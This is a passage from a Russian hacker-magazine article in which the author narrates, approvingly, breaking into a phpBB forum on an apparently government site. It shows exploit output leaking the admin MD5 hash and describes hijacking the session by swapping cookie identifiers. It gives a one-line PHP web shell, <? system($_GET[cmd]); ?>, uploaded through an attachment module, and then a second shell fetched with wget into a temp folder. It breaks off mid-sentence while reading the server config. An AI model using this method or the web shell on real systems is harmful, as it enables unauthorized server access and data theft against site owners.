Кружка кофе clk__ (clk__@list.ru) Хакер, номер #079, стр. 079-068-2 $ ./phpbb.pl www.victim.gov.uk forum 2 [~] Connecting... [+] Connected [~] Sending Data... [~] Data Sent, Waiting for response... [+] MD5 Hash for user with id=2 is: ae186ad8a1de312b4b13d456918c816b Я просто не поверил своим глазам, когда высветился md5-хэш админского пароля. Несмотря на то, что об этом баге известно уже порядочное время, админ не удосужился залатать дыру и поплатился за собственную халатность :). Ну что же, продолжим. Надо отметить, что сам админский доступ к форуму мне не был нужен, однако он вполне сгодился бы как перевалочный пункт на пути к шелл-аккаунту. Чтобы войти на форум с админскими правами, нужно зарегистрироваться на форуме и затем отредактировать собственные кукисы (например при помощи Cookie editor’а), заменив в них идентификаторы пользователя на украденные. После этого можно войти на форум под админскими правами и закачать при помощи того же модуля mod_attach, php-скрипт примерно такого содержания: <? system($_GET[cmd]); ?> Этот нехитрый сценарий позволил мне выполнять на сервере команды с правами апачевского пользователя. Первое, что я решил сделать — это закачать на сервер более удобный скрипт для работы с файловой системой. [удача в кармане] Я решил не останавливаться на каких-то стандартных скриптах типа remview и заюзал совсем новый и еще не опробованный лично мной скрипт — NIX REMOTE WEB SHELL. После недолгих поисков я заметил папку temp, в которую мне было разрешено записывать файлы. На сервере стояла утилита wget. Я без проблем скачал систему и мог теперь работать с сервером через удобный интерфейс. Большим плюсом было то, что форум лежал на одном серваке с сайтом, и после получения веб-шелла на форуме мне открывался путь в сердце сервера. Не раздумывая, я вбил следующую команду: uname –a. Оказалось, машинка крутится под FreeBSD 5.2.1-RELEASE. В голове пронесся большой облом: публичного сплойта под эту систему не было, да и просить мне было не у кого :(. Ну что же, оставалось руководствоваться логикой. Я решил сразу проверить конфиг форума, для чего выполнил вот эту команду: |